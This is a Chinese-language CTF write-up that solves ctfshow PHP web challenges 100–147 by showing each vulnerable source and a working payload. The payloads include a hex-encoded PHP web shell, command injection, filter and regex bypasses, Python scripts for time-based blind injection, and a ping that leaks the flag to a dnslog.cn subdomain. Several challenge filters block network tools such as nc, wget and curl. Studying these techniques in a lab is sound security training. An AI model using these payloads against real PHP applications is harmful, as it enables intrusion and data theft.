Web100&101

考点:

  • PHP中逻辑与的两种形式:AND 和 &&,同样逻辑或也有对应的两种表达:OR 和 || 。但两种表达的优先级存在不同,AND和OR优先级低于=。以下段代码为例:
1
2
3
4
5
6
7
8
9
10
11
12
$bA = true;
$bB = false;
$b1 = $bA and $bB;
$b2 = $bA && $bB;
var_dump($b1); // 输出$b1 = true
var_dump($b2); // 输出$b2 = false
$bA = false;
$bB = true;
$b3 = $bA or $bB;
$b4 = $bA || $bB;
var_dump($b3); // 输出$b3 = false
var_dump($b4); // 输出$b4 = true

因此本题目只需要确保v1是数字型即可使v0为true。

WEB102&103

考点:

  • call_user_func()

    1
    call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed

    参数:

    callback:将被调用的回调函数

    parameter:0或以上个传入回调函数的参数

    示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    error_reporting(E_ALL);
    function increment(&$var)
    {
    $var++;
    }

    $a = 0;
    call_user_func('increment', $a);
    echo $a."\n";

    call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3
    echo $a."\n";
    ?>

    以上例程输出:

    1
    2
    0
    1

    参考:https://www.php.net/manual/zh/function.call-user-func.php

  • 基本思路:

    substr()方法截断字符得到16进制编码的一句话木马,调用函数hex2bin将它写入文件后访问。

    首先是一句话木马编码16进制

    1
    2
    <?php eval($_POST[1]);?>
    0x3c3f706870 206576616c28245f504f53545b315d293b3f3e

    由于本题目php版本限制,直接传入的16进制数字不会被识别为数字类型,因此需要利用php伪协议将内容进行base64编码再转换为16进制

最终payload:

1
2
3
4
5
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin

访问2.php查看源码即可

WEB104

1
2
3
4
GET
v2=1
POST
v1=1

WEB105

考点:

PHP变量替换,这里可以让三个变量中任意一个值为flag即可输出。

payload:

1
2
3
4
5
6
7
8
GET
a=flag
POST
error=a
//或者
GET
suces=flag
flag= //此时$suces=flag{xxx};$_POST['flag']=NULL;$flag=NULL

WEB106

考点及payload:

考察hash碰撞。

1
2
3
4
5
//数组绕过
GET
v2[]=2e1
POST
v1[]=2e2

碰撞实例 摘自羽师傅博客https://blog.csdn.net/miuzzx/article/details/109168454?spm=1001.2014.3001.5501

1
2
3
4
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

WEB107

考点:

  • parse_str方法:把查询字符串解析到变量中语法:parse_str(string,array)​
    参数 描述
    string 必须。规定要解析的字符串
    array 可选。规定储存变量的数组名称,该参数指示变量存储到数组中
    实例:
    1
    2
    3
    4
    5
    6
    <?php
    parse_str("name=Peter&age=43",$myArray);
    print_r($myArray);
    ?>
    //输出:
    Array ( [name] => Peter [age] => 43 )

payload:

1
2
3
4
GET
v3=1
POST
v1=flag=c4ca4238a0b923820dcc509a6f75849b //即v3的md5值

WEB108

考点:

  • 正则匹配:要求出现字母

  • 两个函数:

1
2
strrev()   //字符串反转
intval() //获取变量整数值(默认为十进制)

payload:

1
c=a%00778

877为0x36d的十进制,而正则匹配只会匹配00%之前的内容,之后内容被截断。

WEB109

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());"); // 初始化v1,v2()是参数
//v1和v2至少要匹配到一个字母,且v1和v2 new后面有一个类不报错 任意找一个php的内置类使得其不报错

}

}

?>

payload:

1
2
3
payload:
?v1=CachingIterator&v2=system(ls)
?v1=Exception&v2=system('cat fl36dg.txt')

web110

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

hint:考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd

文件就在当前目录下。

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
//&属于地址传参,意思就是在函数内,如果对v1和v2变量进行修改,就是真实的被修改了
eval("$$v1 = &$$v2;");//意思是:以v1变量的值为新的变量名,和以v2变量的值为新的变量名,这两个新的变量指向同一个地址,改变一个的值另外一个也跟着改变。
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
//v1和v2只能输入字母,同时1要包含字符串ctfshow
getFlag($v1,$v2);
}
// 利用全局变量来进行赋值给ctfshow这个变量




}

?>

payload: ?v1=ctfshow&v2=GLOBALS

WEB 112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){//需要使用filter伪协议(同时满足:不是文件;可以被highlight_file识别
highlight_file(filter($file));
}else{
echo "hacker!";
}

提示中的几种php伪协议:

php://filter/resource=flag.php

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

php://filter/read=convert.quoted-printable-encode/resource=flag.php

compress.zlib://flag.php

非预期:

二次urlencode绕过对base64、rot13的过滤:

php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=flag.php

web 113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

hint:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

另解:

compress.zlib://flag.php

web 114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

payload:

php://filter/resource=flag.php

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

trim()会消除变量中的换行符(包括\n在内,还有空格及\r\t\v\0),但是不过滤\f(%0c)

payload:

?num=%0c36

web 123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

f10g不可用,只能通过fun用变量c执行命令。

c的变量中.会被过滤,使用[替换。php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_

,在php替换]后,后半部分字符串会被保留。

payload:

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

过滤flag、echo关键词。

  • hint:

将文件名传给变量,再用highlight_file输出。

payload:

get:?name=flag.php

post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[name])

  • 非预期$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。‘argv’传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
    payload:GET:?a=1+fl0g=flag_give_mePOST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

非预期:类似上题hint的参数逃逸,输出所有全局变量

GET:?0=var_export($GLOBALS);

POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])

预期:

同126

payload:

GET:?a=1+fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET); //extract() 函数是从数组中把变量导入到当前的符号表中。
}


if($ctf_show==='ilove36d'){
echo $flag;
}

?ctf%20show=ilove36d

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));//var_dump();———>>输出展示展示代码内容,结构与类型。
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

gettext():获取的文本框当前输入内容的方法,返回内容。_()是gettext()函数的简写形式,需要php扩展目录下有php_gettext.dll才能使用。

payload:

?f1=_&f2=get_defined_vars

web129

1
2
3
4
5
6
7
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}//这里使用 stripos 函数检查 $f 中是否包含字符串 ctfshow。如果存在且位置大于 0,则执行下一步。

?f=/ctfshow/../../../../var/www/html/flag.php

?f=php://filter/ctfshow/resource=flag.php

web130

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');//这段代码检查 $f 中是否包含以任意字符开头后跟随 ctfshow 的字符串,如果匹配则终止程序。
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');//这段代码检查 $f 中是否包含字符串 ctfshow,如果不包含则终止程序。
}

echo $flag;}

f=ctfshow

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

正则默认的backtarck_limit是100000(10万). backtarck_limit在匹配字符串时的回溯次数。

所以要将post的内容突破这个值。

1
2
3
4
5
data={
'f':'very'*250000+'36Dctfshow'
}

r=requests.post(url=url,data=data).text

web132

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
//对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
//mt_rand(1, 0x36D) 生成一个介于 1 和 877 之间的随机数,然后与 $code 进行比较。由于随机数每次请求都会变化,所以几乎不可能匹配用户输入的
//条件语句中的逻辑运算符优先级会导致一些意外结果。&& 运算符比 || 运算符具有更高的优先级,所以条件实际被解析为:
//这意味着如果 username 是 "admin",就会绕过其他所有条件,进入内层 if 语句
if($code == 'admin'){
echo $flag;
}

}
}

?username=admin&password=1&code=admin

web133

1
2
3
4
5
6
7
8
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

由于代码中使用了 eval 执行传入的参数的前 6 个字符。

?F=$F;+ping cat flag.php|grep ctfshow.ra2l3p.dnslog.cn -c 1

  • eval('$F+p') 会先执行 $F 的内容:

    • ping cat flag.php|grep ctfshow.ra2l3p.dnslog.cn -c 1
    • cat flag.php | grep ctfshow 会读取 flag.php 文件内容并查找包含 ctfshow 的行。
  • 假设 flag.php 内容中包含 ctfshow{your_flag_here}grep ctfshow 将输出 ctfshow{your_flag_here}

  • 拼接成 DNS 请求:

    • ping ctfshow{your_flag_here}.ra2l3p.dnslog.cn -c 1
    • 这条命令会发送一个 ping 请求到 ra2l3p.dnslog.cn,并将 ctfshow{your_flag_here} 作为子域名的一部分。

web134

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);//这会将查询字符串解析为变量并覆盖现有的 key1 和 key2。
extract($_POST);//这会将 POST 数据提取为变量。
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表

payload: ?_POST[key1]=36d&_POST[key2]=36d

web135

1
2
3
4
5
6
7
8
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");//web133的加强版
}
}

还没做

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

tee命令在Linux中用于从标准输入读取数据,并将其写入到标准输出和一个或多个文件中。tee命令通常与其他命令一起通过管道使用。

cat /f149_15_h3r3|tee 2 将内容写入文件2中

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");//__wakeup 方法:如果类实例被反序列化,则会调用这个方法,并输出 "private class" 后终止脚本。
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

POST: ctfshow=ctfshow::getFlag

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

这行代码检查 ctfshow 参数中是否包含冒号 (:)。如果包含,输出 “private function” 并终止脚本。这是为了防止用户直接调用类的方法(如 ctfshow::getFlag)。

利用数组参数特性,成功绕过了对 : 的检查

POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}

利用web136的方法不行,没有写入权限了

?c=ls;sleep 3 等了一会,无回显。

盲注脚本:

  • 设置超时时间为 2.5 秒。
  • 如果请求超时(表示 sleep 3 被执行,猜测的字符 n 是正确的),则捕获异常并记录结果字符 n,打印当前猜测结果,并退出最内层循环
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import string
str=string.ascii_letters+string.digits+'_~'
result=""
for i in range(1,10):#行
key=0
for j in range(1,15):#列
if key==1:
break
for n in str:
#awk 'NR=={0}'逐行输出获取
#cut -c {1} 截取单个字符
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http:xxx/.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='~':
key=1
result+=" "
#找到flag:/f149_15_h3r3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://xxxx.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

$code = eval("return $f1($f2());");:执行 f1(f2()) 并返回结果赋值给 $code

if(intval($code) == 'ctfshow'):检查 $code 是否等于字符串 'ctfshow'

根据代码可知,f1和f2必须是字母和数字。if判断是弱等于,需要intval($code)的值为0。

intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。
字符串有可能返回 0,取决于字符串最左侧的字符。
intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

所以需要$f1($f2());的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。

  • payload1:
    system(system())—> f1=system&f2=system

string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。

  • payload2:
    usleep(usleep())—> f1=usleep&f2=usleep
    usleep没有返回值。 所以intval参数为空,失败返回0

  • payload3:
    getdate(getdate())—> f1=getdate&f2=getdate

array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())—->getdate(array型)—>失败返回flase,intval为0。

web141

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){//与任何非单词字符匹配。就是除了数字、字母、下划线。等价于[^A-Za-z0-9_]
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

php里数字可以和命令可以进行运算。也就是说v3里要执行的函数前后加上运算符即可。

1-phpinfo()-1的结果为0,phpinfo()执行成功返回true,1-1-1=-1

参考:https://blog.csdn.net/miuzzx/article/details/109143413

web142

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

水题

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

v1=1&v3=(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0b%01%03%00%06%00”^”%7f%60%60%20%60%2a”)&v2=1

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

?v1=1&v2=(“%13%19%13%14%05%0d”|”%60%60%60%60%60%60”)(“%14%01%03%20%06%0c%02”|”%60%60%60%20%60%60%28”)&v3=-

web145

web146

web147

1
2
3
4
5
6
7
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}
1
2
3
4
5
6
7
create_function('$a','echo $a."123"')

//类似于

function f($a) {
echo $a."123";
}

终极目标,构造类似以下的注入:

1
2
3
4
5
6
7
传入:
show=echo 1;}phpinfo();//

就类似于:
function f($a) {
echo 1;}phpinfo();//
}

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

所以%5c可以绕过正则。

1
2
GET ?show=;};system('grep flag flag.php');/*
POST ctf=%5ccreate_function